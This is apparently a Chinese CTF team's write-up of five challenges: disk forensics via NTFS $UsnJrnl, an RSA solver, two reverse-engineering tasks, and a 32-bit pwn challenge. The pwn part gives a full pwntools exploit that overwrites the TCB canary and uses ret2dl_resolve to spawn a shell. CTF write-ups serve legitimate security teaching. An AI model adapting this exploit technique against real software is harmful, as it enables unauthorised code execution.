投稿:Venom
配图:sixwhale
恭喜此次团队pcat、line担任专家,下面针对团队出的五道题进WP分享。
解题思路
通过题目描述了解题目“一个熟悉的格式却是一个神秘的磁盘,磁盘内隐藏着某种不为人知的秘密”,解压题目压缩包发现是一个vhd格式文件,于是对该磁盘文件进行分析,在此使用winhex对磁盘进行分析(其他分析工具均可,因习惯而异)。加载磁盘后发现分区格式为NTFS,分析分区内容,发现删除文件dekart_priviate_disk加密容器软件夹和名为easy_disk的加密磁盘,于是导出待分析磁盘文件,并尝试使用priviate disk软件尝试加载该加密磁盘文件
通过使用dekpart private disk加载磁盘发现该容器需要密码进行加载,接下来的思路转化为寻找容器的解密密码,题目描述提示格式,于是对ntfs分区开展分析,在对文件系统进行痕迹分析时,文件系统的元数据文件是关键,经过对元数据分析发现该文件系统存在$UsnJrnl的记录,$J文件记录了文件系统的操作记录,导出$J文件进行痕迹分析。在取证分析的实战中,通过$J文件还原行为人的操作行为记录是非常关键,即使文件系统的文件记录项被删除依然可以证明文件的曾经存在,此题中的MFT表项中已经彻底擦除了密码文件。关于$J文件解析的字节位关系如下表:
除了手工填写外快捷的DBR恢复:使用private disk加密重启创建一个大小30M的加密分区按默认配置格式化后将其DBR的引导记录直接复制到被损坏擦除的题目容器),保存修改后重新连接容器,使用winhex进行磁盘快照更新后即可打开正常磁盘,可获取根目录下flag。考虑到手动恢复磁盘DBR的复杂度于是将flag文件以txt形式进行存放,将考察的重点放置到$J文件的分析中,该题的flag在解开加密容器后也可通过字节搜索关键词的方式获取。
解题思路
通过阅读代码可知,题目使用RSA加密了flag,并且只给出了参数E,及其对应的密文ciphertext。由于没有给出N,所以易知需要从gen_p和gen_q函数中解得加密所使用的参数P和_Q。
查看gen_p函数,可获得如下信息:
此步参考 2019 Roar CTF BabyRSA
链接:https://www.cnblogs.com/wayne-tao/p/11723494.html
由此可得RSA得参数之一_P。
查看gen_q函数,可知也是一个RSA,已知其中的参数n,ed,并且_Q=nextPrime(2020p-2019*q),所以要得到_Q,就要先对n进行分解得到p和q。可以使用如下方法对n进行分解:
null
代码如下:
k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
import sympy
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes
A=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928699539
C=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928632158
n= 641840878174982655326850312496169636378455577115347500957057267640600977102280072913438154955029114771051709087809927454279064916870408880749853740239718248642560401110078626938726443568692572803490357236810832674229312155746539894173791356805341671586393273678865952155249500341932905426105470392415353610397045835698808163501258474762363712287163328526252399904787053101799058499120606154737990300449437479282435046167055009692493712202386368849122605419812883126887833074654434641607372149411668612504466768080306339558792828063148576123738980431264608446603326193849200810553196864085478463086993422774817059853949748247896512719994166090254440232652496451104455075071560127966288341488523110118075041150491577844082366096788215046025436488554795141938458493258409150407281215473354273599246314944034941237527510171900646139987019380766717951556307441871365874564881565374638513827494801194029940895912077179028101890662760455651864691251980479400416227456995236912364846811949410786643764713673564022863007331006828562341241738846980912184411395632790556038655767763976115640962139547171909279164623846000835333857705944581269631616760405747716520672142021728850694537269211784578408601266217928819863736428173736140161826738813
ed= 534634151124279413732259524933495479098721499860333007593590357554306358799023578194908726136928354695079848972480649724456088941906723794709312712191247045425297126517594344899286925836796680956816064609089090503579894117057252969264121691849003333804607728687046319857910698511132867345476426833313854575436202087209472834349551593011689755514138197238955298350562839877955001729313715223006875793667570760703418551390980455326976431990257513342820095246552412287184147009729875110446230949824384166464485840066906862476445054049749692262294734099027915906839812656254886862402603631321290156949953461665657610306709058617222159635281067103921037090824796905267992798715820128476225045484793453227511548884919811033318570386881936137713666127231317606909893143214808788822341878386939352957962886113639632559883992777992209148001401767753558732492213499792179169681405789041595765504039612494711563472885565786566625643290565526077483663342991770220261962082523632475094223960703649343802215392245948547397211539801128773253646005228684994277460378625729491412757387260415740823541731482803143732545953736392746596116269262129834845033889284145602522548909021358829175225208236295389454408336909318816490014229410357900614079212880259236238467905
def fast_gen_N2(A,C):
result=1
for i in range(A-2,C,-1):
result=(result*i)%A
return invert(result,A)
N1=1
N2=fast_gen_N2(A,C)
seed1=2019*N1+2020*N2
k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
if(p>q):
p,q=q,p
seed2=2020*p-2019*q
if seed2<0:
seed2=(-1)*seed2
_P=sympy.nextprime(seed1)
_Q=sympy.nextprime(seed2)
_N=_P*_Q
_E=65537
_D=invert(_E,(_P-1)*(_Q-1))
_C=183288709028723976658160448336519698700398459340947322152692016513169599029222514445118399653225032641541100129985101994918772329046946295962244096646038598600865786096896989355554955041779941259413115779915405468832327321189345505283184153652727885422718280179025251186380977491993641792341259672566237363655347151343020354489781675539571788934759950303331075098574759853670802171054084321131703969504258663714257549258635956184694450566287845760701724862418909255930636298209146539578608879672058346906370035692078859844402832322545368347681121504910035471822137023626638953992968941166744998545450662434365836169688461834868137046528403401190395486501502489519341656581057940794141420456022102711505759074332049547354944074402136763186087462931985682293826106916791831371302
_M=pow(_C,_D,_N)
print(long_to_bytes(_M))
解题思路
1.检查题目保护,发现开了CANARY与NX
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2.发现存在栈溢出与堆地址任意偏移写任意值 可利用
unsigned int __cdecl main()
{
signed int i; // [esp+4h] [ebp-54h]
int size; // [esp+8h] [ebp-50h]
char *v3; // [esp+Ch] [ebp-4Ch]
int v4; // [esp+14h] [ebp-44h]
char description; // [esp+1Ah] [ebp-3Eh]
unsigned int v6; // [esp+4Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
menu();
fwrite("nGive your description : ", 1u, 0x19u, stdout);
memset(&description, 0, 0x32u);
myread(0, &description, 1536); //栈溢出
fwrite("Give your postscript : ", 1u, 0x17u, stdout);
memset(&postscript, 0, 0x64u);
myread(0, &postscript, 1536);
fwrite("nGive your notebook size : ", 1u, 0x1Bu, stdout);
size = get_long();
v3 = (char *)malloc(size);
memset(v3, 0, size);
fwrite("Give your title size : ", 1u, 0x17u, stdout);
v4 = get_long();
for ( i = v4; size - 32 < i; i = get_long() ) //重复输入
fwrite("invalid ! please re-enter :n", 1u, 0x1Cu, stdout);
fwrite("nGive your title : ", 1u, 0x13u, stdout);
myread(0, v3, i);
fwrite("Give your note : ", 1u, 0x11u, stdout);
read(0, &v3[v4 + 16], size - v4 - 16); // 逻辑漏洞,错误的使用了重复输入之前的值,基于堆地址任意地址写
fwrite("nnow , check your notebook :n", 1u, 0x1Du, stdout);
fprintf(stdout, "title : %s", v3);
fprintf(stdout, "note : %s", &v3[v4 + 16]);
return __readgsdword(0x14u) ^ v6;
3.当一个函数被调用,当前线程的tcbhead_t.stack_guard会放置到栈上(也就是canary),32位下gs寄存器指向tcb,可以细看源码。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不 相等的,程序将会返回error并且终止。
typedef struct {
void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
... } tcbhead_t;
4.在glibc2.23-i386的环境下,main线程的tcb块被mmap初始化在libc内存布局上方。
► 0x8048772 mov eax, dword ptr gs:[0x14]
EAX 0x5ba0***0
pwndbg> search -p 0x5ba0***0
0xf7e00714 0x5ba0***0
[stack] 0xffffcecc 0x5ba0***0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/b0ldfrev/icq/BFnote
0x8049000 0x804a000 r--p 1000 0 /home/b0ldfrev/icq/BFnote
0x804a000 0x804b000 rw-p 1000 1000 /home/b0ldfrev/icq/BFnote
0xf7e00000 0xf7e01000 rw-p 1000 0
0xf7e01000 0xf7fb1000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p f0000 0 [stack]
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/b0ldfrev/icq/BFnote
0x8049000 0x804a000 r--p 1000 0 /home/b0ldfrev/icq/BFnote
0x804a000 0x804b000 rw-p 1000 1000 /home/b0ldfrev/icq/BFnote
0xf7bff000 0xf7e01000 rw-p 202000 0
0xf7e01000 0xf7fb1000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb3000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb4000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb7000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfff0e000 0xffffe000 rw-p f0000 0 [stack]
6.利用思路就是在最开始栈溢出的时候将canary填成值A,并做好栈迁移的准备,在.bss构造resolve数据,申请notebook大小0x200000,使其地址在libc上方;tille大小故意输错成堆地址ptr到tcb中canary的偏移,二次输入时给一个正确值,这下在输入note内容时就可以修改tcb中canary的值为A。main函数返回时绕过canary检查,迁移去执行dl_rutime_resolve,有个坑是由于栈迁移,尽量迁移后抬到bss高地址处执行,resolve数据尽量放到比指令更高的地址。
7.EXP
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#[author]: b0ldfrev
p= process('./BFnote')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
dl_resolve_data="x80x21x00x00x00x00x00x00x00x00x00x00x12x00x00x00x37x66x66x5ax6dx59x50x47x60xa1x04x08x07x25x02x00x73x79x73x74x65x6dx00"
dl_resolve_call="x50x84x04x08x70x20x00x00"
canary=0xdeadbe00
postscript=0x804A060
#correct=0x804a428
payload1="1"*0x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)
ru("description : ")
sd(payload1)
payload2="s"*0x3a8+dl_resolve_call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/shx00"+p64(0)+dl_resolve_data
ru("postscript : ")
sd(payload2)
ru("notebook size : ")
sl(str(0x200000))
ru("title size : ")
sl(str(0x20170c-0x10))
ru("please re-enter :n")
sl(str(100))
ru("your title : ")
sl("2222")
ru("your note : ")
sd(p32(canary))
p.interactive()
解题思路
1.根据string找到main函数所在
根据另一个字符串寻找flag的主要操作位置
3.该函数是flag的处理函数
检查汇编指令内容
找到flag处理主要函数,其中进行了简单的异或运算
a=-80538473123155825
b=80435312222756674
c=12602435109592424
lift="3nder5tandf10@t"
num1=a^-80538738812075974
num2=b^80435758145817515
num3=c^12602123297335631
print(hex(num1),num2,num3)
array=[]
str_flag=''
for i in range(5):
array.append(num3&0xff)
num3=num3>>8
for i in range(5):
array.append(num2&0xff)
num2=num2>>8
for i in range(5):
array.append(num1&0xff)
num1=num1>>8
array.reverse()
print(array)
new=0
for i in range(len(array)):
str_flag+=hex(ord(lift[i])^array[i])[2:]
str_flag=list(str_flag)
str_flag.insert(7,'-')
str_flag.insert(12,'-')
str_flag.insert(17,'-')
str_flag.insert(22,'-')
str_flag="".join(str_flag)
print("flag{"+str_flag+"}")
解题思路
1.通过字符串定位法定位到关键点,分析代码逻辑
2.根据算法特征识别出关键算法是 XXTEA
3.往前推发现 XXTEA 的密钥是另一种算法的结果
4.根据算法特征识别出第一层算法是 arithmetic coding
5.已知编码表和压缩结果的情况下,编写解压脚本 exp.cpp
压缩结果从 base64 里解码得到
编码表字符概率
编码表字符集合
6.获得key,运行程序输入key,解密 XXTEA 跑出 flag
ChaMd5安全团队
本文作者:ChaMd5安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/124293.html